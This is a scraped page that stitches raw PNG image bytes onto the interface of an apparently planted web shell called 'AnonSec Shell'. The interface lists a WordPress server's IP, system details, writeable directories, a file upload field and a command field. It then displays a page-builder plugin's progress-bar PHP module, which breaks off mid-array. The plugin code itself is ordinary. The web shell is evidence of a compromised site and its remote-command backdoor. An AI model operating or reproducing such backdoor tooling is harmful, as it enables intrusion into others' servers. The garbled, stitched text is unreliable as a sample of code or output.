‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/bb-ultimate-addon/modules/progress-bar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/bb-ultimate-addon/modules/progress-bar/progress-bar.php
<?php
/**
 *  UABB Progress Bar Module file
 *
 *  @package UABB Progress Bar Module
 */

/**
 * Function that initializes UABB Progress Bar Module
 *
 * @class ProgressBarModule
 */
class ProgressBarModule extends FLBuilderModule {
	/**
	 * Constructor function that constructs default values for the Progress Bar Module
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct(
			array(
				'name'            => __( 'Progress Bar', 'uabb' ),
				'description'     => __( 'Progress Bar', 'uabb' ),
				'category'        => BB_Ultimate_Addon_Helper::module_cat( BB_Ultimate_Addon_Helper::$creative_modules ),
				'group'           => UABB_CAT,
				'dir'             => BB_ULTIMATE_ADDON_DIR . 'modules/progress-bar/',
				'url'             => BB_ULTIMATE_ADDON_URL . 'modules/progress-bar/',
				'editor_export'   => true, // Defaults to true and can be omitted.
				'enabled'         => true, // Defaults to true and can be omitted.
				'partial_refresh' => true,
				'icon'            => 'progress-bar.svg',
			)
		);

		$this->add_js( 'jquery-waypoints' );
	}

	/**
	 * Function to get the icon for the Progress Bar
	 *
	 * @method get_icon
	 * @param string $icon gets the icon for the module.
	 */
	public function get_icon( $icon = '' ) {

		// check if $icon is referencing an included icon.
		if ( '' != $icon && file_exists( BB_ULTIMATE_ADDON_DIR . 'modules/progress-bar/icon/' . $icon ) ) {
			$path = BB_ULTIMATE_ADDON_DIR . 'modules/progress-bar/icon/' . $icon;
		}

		if ( file_exists( $path ) ) {
			$remove_icon = apply_filters( 'uabb_remove_svg_icon', false, 10, 1 );
			if ( true === $remove_icon ) {
				return;
			} else {
				return file_get_contents( $path );
			}
		} else {
			return '';
		}
	}

	/**
	 * Function to render Horizontal Content
	 *
	 * @method render_horizontal_content
	 * @param object $obj gets the object for the content.
	 * @param string $style gets the value for various styles.
	 * @param var    $position gets the positon for the content.
	 * @param var    $i gets the value for the content.
	 */
	public function render_horizontal_content( $obj, $style = '', $position = '', $i ) {

		if ( $this->settings->horizontal_style == $style ) {
			if ( 'style4' == $style ) {
				if ( $this->settings->text_position == $position ) {

					echo '<div class="uabb-progress-info uabb-progress-bar-info-' . $i . '">
                        <' . $this->settings->text_tag_selection . ' class="uabb-progress-title">' . $obj->horizontal_before_number . '</' . $this->settings->text_tag_selection . '>
                    </div>';
				}
			} elseif ( 'style3' != $style ) {

				echo '<div class="uabb-progress-info uabb-progress-bar-info-' . $i . '">
                        <' . $this->settings->text_tag_selection . ' class="uabb-progress-title">' . $obj->horizontal_before_number . '</' . $this->settings->text_tag_selection . '>
                        <div class="uabb-progress-value">0%</div>
                    </div>';
			}
		}
	}

	/**
	 * Function to render Horizontal Progress Bar Content
	 *
	 * @method render_horizontal_progress_bar
	 * @param object $obj gets the object for the content.
	 * @param var    $i gets the value for the content.
	 */
	public function render_horizontal_progress_bar( $obj, $i ) {
		if ( 'style3' == $this->settings->horizontal_style ) {
			echo '<div class="uabb-progress-wrap">
                    <div class="uabb-progress-box">
                        <div class="uabb-progress-bar"></div>
                        <div class="uabb-progress-info uabb-progress-bar-info-' . $i . '">
                            <' . $this->settings->text_tag_selection . ' class="uabb-progress-title">' . $obj->horizontal_before_number . '</' . $this->settings->text_tag_selection . '>
                            <div class="uabb-progress-value">0%</div>
                        </div>
                    </div>
                </div>';
		} elseif ( 'style4' == $this->settings->horizontal_style ) {
			echo '<div class="uabb-progress-wrap">
                    <div class="uabb-progress-box">
                        <div class="uabb-progress-bar"></div>
                        <div class="uabb-progress-info uabb-progress-bar-info-' . $i . '">
                            <div class="uabb-progress-value"><span>0%</span></div>
                        </div>
                    </div>
                </div>';
		} else {
			echo '<div class="uabb-progress-wrap">
                    <div class="uabb-progress-box">
                        <div class="uabb-progress-bar"></div>
                    </div>
                </div>';
		}
	}

	/**
	 * Function to render Vertical Content
	 *
	 * @method render_vertical_content
	 * @param object $obj gets the object for the content.
	 * @param string $style gets the value for various styles.
	 * @param var    $i gets the value for the content.
	 */
	public function render_vertical_content( $obj, $style = '', $i ) {

		if ( $this->settings->vertical_style == $style ) {
			if ( 'style3' != $style ) {
				echo '<div class="uabb-progress-info uabb-progress-bar-info-' . $i . '">
                        <' . $this->settings->text_tag_selection . ' class="uabb-progress-title">' . $obj->horizontal_before_number . '</' . $this->settings->text_tag_selection . '>
                        <div class="uabb-progress-value">0%</div>
                    </div>';
			} else {
				echo '<div class="uabb-progress-info uabb-progress-bar-info-' . $i . '">
                        <' . $this->settings->text_tag_selection . ' class="uabb-progress-title">' . $obj->horizontal_before_number . '</' . $this->settings->text_tag_selection . '>
                    </div>';
			}
		}
	}

	/**
	 * Function to render Vertical Progree Bar Content
	 *
	 * @method render_vertical_progress_bar
	 * @param object $obj gets the object for the content.
	 * @param var    $i gets the value for the content.
	 */
	public function render_vertical_progress_bar( $obj, $i ) {
		if ( 'style3' == $this->settings->vertical_style ) {
			echo '<div class="uabb-progress-wrap">
                    <div class="uabb-progress-box">
                        <div class="uabb-progress-bar"></div>
                        <div class="uabb-progress-info uabb-progress-bar-info-' . $i . '">
                            <div class="uabb-progress-value">0%</div>
                        </div>
                    </div>
                </div>';
		} else {
			echo '<div class="uabb-progress-wrap">
                    <div class="uabb-progress-box">
                        <div class="uabb-progress-bar"></div>
                    </div>
                </div>';
		}
	}

	/**
	 * Function to render Circle Progree Bar Content
	 *
	 * @method render_circle_progress_bar
	 * @param object $obj gets the object for the content.
	 */
	public function render_circle_progress_bar( $obj ) {

		$obj->background_color = UABB_Helper::uabb_colorpicker( $obj, 'background_color', true );
		$obj->gradient_color   = UABB_Helper::uabb_colorpicker( $obj, 'gradient_color', true );

		$stroke_thickness = ( '' != $this->settings->stroke_thickness ) ? $this->settings->stroke_thickness : '10';
		$width            = ! empty( $this->settings->circular_thickness ) ? $this->settings->circular_thickness : 300;
		$pos              = ( $width / 2 );
		$radius           = $pos - 10;
		$dash             = number_format( ( ( M_PI * 2 ) * $radius ), 2, '.', '' );

		$html = '<svg class="svg" viewBox="0 0 ' . $width . ' ' . $width . '" version="1.1" preserveAspectRatio="xMinYMin meet">
            <circle class="uabb-bar-bg" r="' . $radius . '" cx="' . $pos . '" cy="' . $pos . '" fill=" ' . $obj->background_color . ' " stroke-dasharray="' . $dash . '" stroke-dashoffset="0"></circle>
            <circle class="uabb-bar" r="' . $radius . '" cx="' . $pos . '" cy="' . $pos . '" fill="transparent" stroke-dasharray="' . $dash . '" stroke-dashoffset="' . $dash . '" transform="rotate(-90.1 ' . $pos . ' ' . $pos . ')"></circle>
        </svg>';
		$txt  = '<svg class="svg" viewBox="0 0 ' . $width . ' ' . $width . '" version="1.1" preserveAspectRatio="xMinYMin meet">
            <circle class="uabb-bar-bg" r="' . $radius . '" cx="' . $pos . '" cy="' . $pos . '" fill=" ' . $obj->background_color . ' " stroke-dasharray="' . $dash . '" stroke-dashoffset="0" ></circle>
            <circle class="uabb-bar" r="' . $radius . '" cx="' . $pos . '" cy="' . $pos . '" fill="transparent" stroke-dasharray="' . $dash . '" stroke-dashoffset="' . $dash . '"></circle>
        </svg>';

		echo $html;
	}

	/**
	 * Function to render Semi Circle Progree Bar Content
	 *
	 * @method render_semi_circle_progress_bar
	 * @param object $obj gets the object for the content.
	 */
	public function render_semi_circle_progress_bar( $obj ) {

		$obj->background_color = UABB_Helper::uabb_colorpicker( $obj, 'background_color', true );
		$obj->gradient_color   = UABB_Helper::uabb_colorpicker( $obj, 'gradient_color', true );

		$stroke_thickness = ( '' != $this->settings->stroke_thickness ) ? $this->settings->stroke_thickness : '10';
		$width            = ! empty( $this->settings->circular_thickness ) ? $this->settings->circular_thickness : 300;
		$pos              = ( $width / 2 );
		$radius           = $pos - ( $stroke_thickness / 2 );
		$dash             = number_format( ( ( M_PI * 2 ) * $radius ), 2, '.', '' );

		$html = '<svg class="svg" viewBox="0 0 ' . $width . ' ' . $pos . '" version="1.1" preserveAspectRatio="xMinYMin meet">
            <circle class="uabb-bar-bg" r="' . $radius . '" cx="' . $pos . '" cy="' . $pos . '" fill=" ' . $obj->background_color . ' " stroke-dasharray="' . $dash . '" stroke-dashoffset="0"></circle>
            <circle class="uabb-bar" r="' . $radius . '" cx="' . $pos . '" cy="' . $pos . '" fill="transparent" stroke-dasharray="' . $dash . '" stroke-dashoffset="' . $dash . '" transform="rotate(-180 ' . $pos . ' ' . $pos . ')"></circle>
        </svg>';
		echo $html;
	}

}

/**
 * Register the module and its form settings.
 */
FLBuilder::register_module(
	'ProgressBarModule', array(
		'elements'   => array( // Tab.
			'title'    => __( 'General', 'uabb' ), // Tab title.
			'sections' => array( // Tab Sections.
				'items'           => array(
					'title'  => __( 'Appearance', 'uabb' ), // Section Title.
					'fields' => array(
						'layout' => array(
							'type'    => 'select',
							'label'   => __( 'Bar Appearance', 'uabb' ),
							'default' => 'horizontal',
							'help'    => __( 'Select different layouts for Progress Bar', 'uabb' ),
							'options' => array(
								'horizontal'    => __( 'Horizontal', 'uabb' ),
								'vertical'      => __( 'Vertical', 'uabb' ),
								'circular'      => __( 'Circular', 'uabb' ),
								'semi-circular' => __( 'Semi Circular', 'uabb' ),
							),
							'toggle'  => array(
								'horizontal'    => array(
									'sections' => array( 'horizontal', 'text_typography', 'border' ),
									'fields'   => array( 'stripped' ),
								),
								'vertical'      => array(
									'sections' => array( 'vertical', 'text_typography', 'border' ),
									'fields'   => array( 'stripped', 'overall_alignment' ),
								),
								'circular'      => array(
									'sections' => array( 'circular', 'before_after_typography' ),
									'fields'   => array( 'overall_alignment' ),
								),
								'semi-circular' => array(
									'sections' => array( 'circular', 'before_after_typography' ),
									'fields'   => array( 'overall_alignment' ),
								),
							),
						),
					),
				),
				'circular_layout' => array(
					'title'  => __( 'Progress Bar Items', 'uabb' ),
					'fields' => array(
						'horizontal' => array(
							'type'         => 'form',
							'label'        => __( 'Progress Bar Item', 'uabb' ),
							'form'         => 'progress_bar_horizontal_item_form',
							'preview_text' => 'horizontal_number',
							'multiple'     => true,
						),
					),
				),
			),
		),
		'general'    => array( // Tab.
			'title'    => __( 'Style', 'uabb' ), // Tab title.
			'sections' => array( // Tab Sections.
				'spacing_options' => array(
					'title'  => '',
					'fields' => array(
						'overall_alignment' => array(
							'type'    => 'select',
							'label'   => __( 'Overall Alignment', 'uabb' ),
							'default' => 'center',
							'options' => array(
								'center' => __( 'Center', 'uabb' ),
								'left'   => __( 'Left', 'uabb' ),
								'right'  => __( 'Right', 'uabb' ),
							),
						),
						'spacing'           => array(
							'type'        => 'unit',
							'label'       => __( 'Spacing', 'uabb' ),
							'placeholder' => '10',
							'size'        => '8',
							'help'        => __( 'Space between two progress bars', 'uabb' ),
							'description' => 'px',
						),
						'stripped'          => array(
							'type'    => 'select',
							'label'   => __( 'Striped Selector', 'uabb' ),
							'default' => 'yes',
							'help'    => __( 'Enable to display stripes on progress, this option will only work if Progress type is color.', 'uabb' ),
							'options' => array(
								'yes' => __( 'Yes', 'uabb' ),
								'no'  => __( 'No', 'uabb' ),
							),
						),
					),
				),
				'horizontal'      => array(
					'title'  => __( 'Horizontal Style', 'uabb' ),
					'fields' => array(
						'horizontal_style'        => array(
							'type'    => 'select',
							'label'   => __( 'Style', 'uabb' ),
							'default' => 'style1',
							'help'    => __( 'Select the different positons to display Progress Value and Number', 'uabb' ),
							'options' => array(
								'style1' => __( 'Number and Text Above the Progress Bar', 'uabb' ),
								'style2' => __( 'Number and Text Below the Progress Bar', 'uabb' ),
								'style3' => __( 'Number and Text Inside the Progress Bar', 'uabb' ),
								'style4' => __( 'Number Inside and Text Outside the Progress Bar', 'uabb' ),
							),
						),
						'text_position'           => array(
							'type'    => 'select',
							'label'   => __( 'Text Position', 'uabb' ),
							'default' => 'above',
							'options' => array(
								'above' => __( 'Above', 'uabb' ),
								'below' => __( 'Below', 'uabb' ),
							),
						),
						'horizontal_thickness'    => array(
							'type'        => 'unit',
							'label'       => __( 'Thickness', 'uabb' ),
							'size'        => '8',
							'placeholder' => '20',
							'description' => 'px',
							'help'        => __( 'This is basically the height', 'uabb' ),
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-layout-horizontal .uabb-progress-box',
								'property' => 'height',
								'unit'     => 'px',
							),
						),
						'horizontal_space_above'  => array(
							'type'        => 'unit',
							'label'       => __( 'Space above title', 'uabb' ),
							'size'        => '8',
							'placeholder' => '5',
							'description' => 'px',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-title, .uabb-progress-value',
								'property' => 'padding-top',
								'unit'     => 'px',
							),
						),
						'horizontal_space_below'  => array(
							'type'        => 'unit',
							'label'       => __( 'Space Below Title', 'uabb' ),
							'size'        => '8',
							'placeholder' => '5',
							'description' => 'px',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-title, .uabb-progress-value',
								'property' => 'padding-bottom',
								'unit'     => 'px',
							),
						),
						'horizontal_vert_padding' => array(
							'type'        => 'unit',
							'label'       => __( 'Vertical Padding', 'uabb' ),
							'size'        => '8',
							'placeholder' => '5',
							'description' => 'px',
							'preview'     => array(
								'type'  => 'css',
								'rules' => array(
									array(
										'selector' => '.uabb-progress-title, .uabb-progress-value',
										'property' => 'padding-top',
										'unit'     => 'px',
									),
									array(
										'selector' => '.uabb-progress-title, .uabb-progress-value',
										'property' => 'padding-bottom',
										'unit'     => 'px',
									),
								),
							),
						),
						'horizontal_horz_padding' => array(
							'type'        => 'unit',
							'label'       => __( 'Horizontal Padding', 'uabb' ),
							'size'        => '8',
							'placeholder' => '10',
							'description' => 'px',
							'preview'     => array(
								'type'  => 'css',
								'rules' => array(
									array(
										'selector' => '.uabb-progress-title, .uabb-progress-value',
										'property' => 'padding-left',
										'unit'     => 'px',
									),
									array(
										'selector' => '.uabb-progress-title, .uabb-progress-value',
										'property' => 'padding-right',
										'unit'     => 'px',
									),
								),
							),
						),
					),
				),
				'vertical'        => array(
					'title'  => __( 'Vertical Style', 'uabb' ),
					'fields' => array(
						'vertical_style'                => array(
							'type'    => 'select',
							'label'   => __( 'Style', 'uabb' ),
							'default' => 'style1',
							'help'    => __( 'Select the different positons to display Progress Value and Number', 'uabb' ),
							'options' => array(
								'style1' => __( 'Number and Text Above the Progress Bar', 'uabb' ),
								'style2' => __( 'Number and Text Below the Progress Bar', 'uabb' ),
								'style3' => __( 'Number inside and Text below the Progress Bar', 'uabb' ),
							),
							'toggle'  => array(
								'style3' => array(
									'fields' => array( 'title_alignment' ),
								),
							),
						),
						'title_alignment'               => array(
							'type'    => 'select',
							'label'   => __( 'Title Alignment', 'uabb' ),
							'default' => 'center',
							'options' => array(
								'center' => __( 'Center', 'uabb' ),
								'left'   => __( 'Left', 'uabb' ),
								'right'  => __( 'Right', 'uabb' ),
							),
						),
						'vertical_thickness'            => array(
							'type'        => 'unit',
							'label'       => __( 'Height', 'uabb' ),
							'size'        => '8',
							'placeholder' => '200',
							'description' => 'px',
						),
						'vertical_width'                => array(
							'type'        => 'unit',
							'label'       => __( 'Width', 'uabb' ),
							'size'        => '8',
							'placeholder' => '300',
							'description' => 'px',
						),
						'vertical_responsive'           => array(
							'type'    => 'select',
							'label'   => __( 'Responsive Size', 'uabb' ),
							'default' => 'no',
							'help'    => __( 'Add responsive size for medium devices', 'uabb' ),
							'options' => array(
								'yes' => __( 'Yes', 'uabb' ),
								'no'  => __( 'No', 'uabb' ),
							),
							'toggle'  => array(
								'yes' => array(
									'fields' => array( 'vertical_responsive_thickness', 'vertical_responsive_width' ),
								),
							),
						),
						'vertical_responsive_thickness' => array(
							'type'        => 'unit',
							'label'       => __( 'Vertical Responsive Height', 'uabb' ),
							'size'        => '8',
							'placeholder' => '200',
							'description' => 'px',
						),
						'vertical_responsive_width'     => array(
							'type'        => 'unit',
							'label'       => __( 'Vertical Responsive Width', 'uabb' ),
							'size'        => '8',
							'placeholder' => '150',
							'description' => 'px',
						),
					),
				),
				'circular'        => array(
					'title'  => __( 'Circular Style', 'uabb' ),
					'fields' => array(
						'circular_thickness'        => array(
							'type'        => 'unit',
							'label'       => __( 'Circle Width', 'uabb' ),
							'size'        => '8',
							'placeholder' => '300',
							'description' => 'px',
						),
						'stroke_thickness'          => array(
							'type'        => 'unit',
							'label'       => __( 'Stroke Thickness', 'uabb' ),
							'size'        => '8',
							'placeholder' => '10',
							'description' => 'px',
							'help'        => __( 'This is the thickness of stroke.', 'uabb' ),
						),
						'circular_responsive'       => array(
							'type'    => 'select',
							'label'   => __( 'Responsive Size', 'uabb' ),
							'default' => 'no',
							'help'    => __( 'Add responsive size for medium devices', 'uabb' ),
							'options' => array(
								'yes' => __( 'Yes', 'uabb' ),
								'no'  => __( 'No', 'uabb' ),
							),
							'toggle'  => array(
								'yes' => array(
									'fields' => array( 'circular_responsive_width' ),
								),
							),
						),
						'circular_responsive_width' => array(
							'type'        => 'unit',
							'label'       => __( 'Circle Responsive Width', 'uabb' ),
							'size'        => '8',
							'placeholder' => '200',
							'description' => 'px',
						),
					),
				),
				'border'          => array( // Section.
					'title'  => __( 'Border', 'uabb' ), // Section Title.
					'fields' => array( // Section Fields.
						'border_style'  => array(
							'type'    => 'select',
							'label'   => __( 'Border Style', 'uabb' ),
							'default' => 'none',
							'options' => array(
								'none'   => __( 'None', 'uabb' ),
								'solid'  => __( 'Solid', 'uabb' ),
								'dashed' => __( 'Dashed', 'uabb' ),
								'dotted' => __( 'Dotted', 'uabb' ),
								'double' => __( 'Double', 'uabb' ),
							),
							'toggle'  => array(
								'none'   => array(
									'fields' => array( 'border_radius' ),
								),
								'solid'  => array(
									'fields' => array( 'border_size', 'border_color' ),
								),
								'dashed' => array(
									'fields' => array( 'border_size', 'border_color' ),
								),
								'dotted' => array(
									'fields' => array( 'border_size', 'border_color' ),
								),
								'double' => array(
									'fields' => array( 'border_size', 'border_color' ),
								),
							),
							'preview' => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-wrap',
								'property' => 'border-style',
							),
						),
						'border_size'   => array(
							'type'        => 'unit',
							'label'       => __( 'Border Size', 'uabb' ),
							'placeholder' => '1',
							'size'        => '8',
							'description' => 'px',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-wrap',
								'property' => 'border-width',
								'unit'     => 'px',
							),
						),
						'border_color'  => array(
							'type'       => 'color',
							'label'      => __( 'Border Color', 'uabb' ),
							'default'    => 'dbdbdb',
							'show_reset' => true,
							'preview'    => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-wrap',
								'property' => 'border-color',
							),
						),
						'border_radius' => array(
							'type'        => 'unit',
							'label'       => __( 'Border Radius', 'uabb' ),
							'size'        => '8',
							'description' => 'px',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-wrap',
								'property' => 'border-radius',
								'unit'     => 'px',
							),
						),
					),
				),
				'animation'       => array( // Section.
					'title'  => 'Animation', // Section Title.
					'fields' => array( // Section Fields.
						'animation_speed' => array(
							'type'        => 'unit',
							'label'       => __( 'Animation Speed', 'uabb' ),
							'size'        => '5',
							'placeholder' => '1',
							'description' => __( 'second(s)', 'uabb' ),
							'help'        => __( 'Number of seconds to complete the animation.', 'uabb' ),
						),
						'delay'           => array(
							'type'        => 'unit',
							'label'       => __( 'Animation Delay', 'uabb' ),
							'size'        => '5',
							'placeholder' => '1',
							'description' => __( 'second(s)', 'uabb' ),
						),
					),
				),
			),
		),
		'typography' => array( // Tab.
			'title'    => __( 'Typography', 'uabb' ), // Tab title.
			'sections' => array( // Tab Sections.
				'text_typography'         => array(
					'title'  => __( 'Title', 'uabb' ),
					'fields' => array(
						'text_tag_selection'    => array(
							'type'    => 'select',
							'label'   => __( 'Tag', 'uabb' ),
							'default' => 'h4',
							'options' => array(
								'h1'   => __( 'H1', 'uabb' ),
								'h2'   => __( 'H2', 'uabb' ),
								'h3'   => __( 'H3', 'uabb' ),
								'h4'   => __( 'H4', 'uabb' ),
								'h5'   => __( 'H5', 'uabb' ),
								'h6'   => __( 'H6', 'uabb' ),
								'div'  => __( 'Div', 'uabb' ),
								'p'    => __( 'p', 'uabb' ),
								'span' => __( 'span', 'uabb' ),
							),
						),
						'text_font_family'      => array(
							'type'    => 'font',
							'label'   => __( 'Font Family', 'uabb' ),
							'default' => array(
								'family' => 'Default',
								'weight' => 'Default',
							),
							'preview' => array(
								'type'     => 'font',
								'selector' => '.uabb-progress-title',
							),
						),
						'text_font_size_unit'   => array(
							'type'        => 'unit',
							'label'       => __( 'Font Size', 'uabb' ),
							'description' => 'px',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-title',
								'property' => 'font-size',
								'unit'     => 'px',
							),
							'responsive'  => array(
								'placeholder' => array(
									'default'    => '',
									'medium'     => '',
									'responsive' => '',
								),
							),
						),
						'text_line_height_unit' => array(
							'type'        => 'unit',
							'label'       => __( 'Line Height', 'uabb' ),
							'description' => 'em',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-title',
								'property' => 'line-height',
								'unit'     => 'em',
							),
							'responsive'  => array(
								'placeholder' => array(
									'default'    => '',
									'medium'     => '',
									'responsive' => '',
								),
							),
						),
						'text_color'            => array(
							'type'       => 'color',
							'label'      => __( 'Color', 'uabb' ),
							'default'    => '',
							'show_reset' => true,
							'preview'    => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-title',
								'property' => 'color',
							),
						),
						'text_transform'        => array(
							'type'    => 'select',
							'label'   => __( 'Transform', 'uabb' ),
							'default' => '',
							'options' => array(
								''           => 'Default',
								'uppercase'  => 'UPPERCASE',
								'lowercase'  => 'lowercase',
								'capitalize' => 'Capitalize',
							),
							'preview' => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-title',
								'property' => 'text-transform',
							),
						),
						'text_letter_spacing'   => array(
							'type'        => 'unit',
							'label'       => __( 'Letter Spacing', 'uabb' ),
							'placeholder' => '0',
							'size'        => '5',
							'description' => 'px',
							'preview'     => array(
								'type'     => 'css',
								'selector' => '.uabb-progress-title',
								'property' => 'letter-spacing',
								'unit'     => 'px',
							),
						),
					),
				),
				'before_after_typography' => array(
					'title'  => __( 'Before/After Text', 'uabb' ),
					'fields' => array(
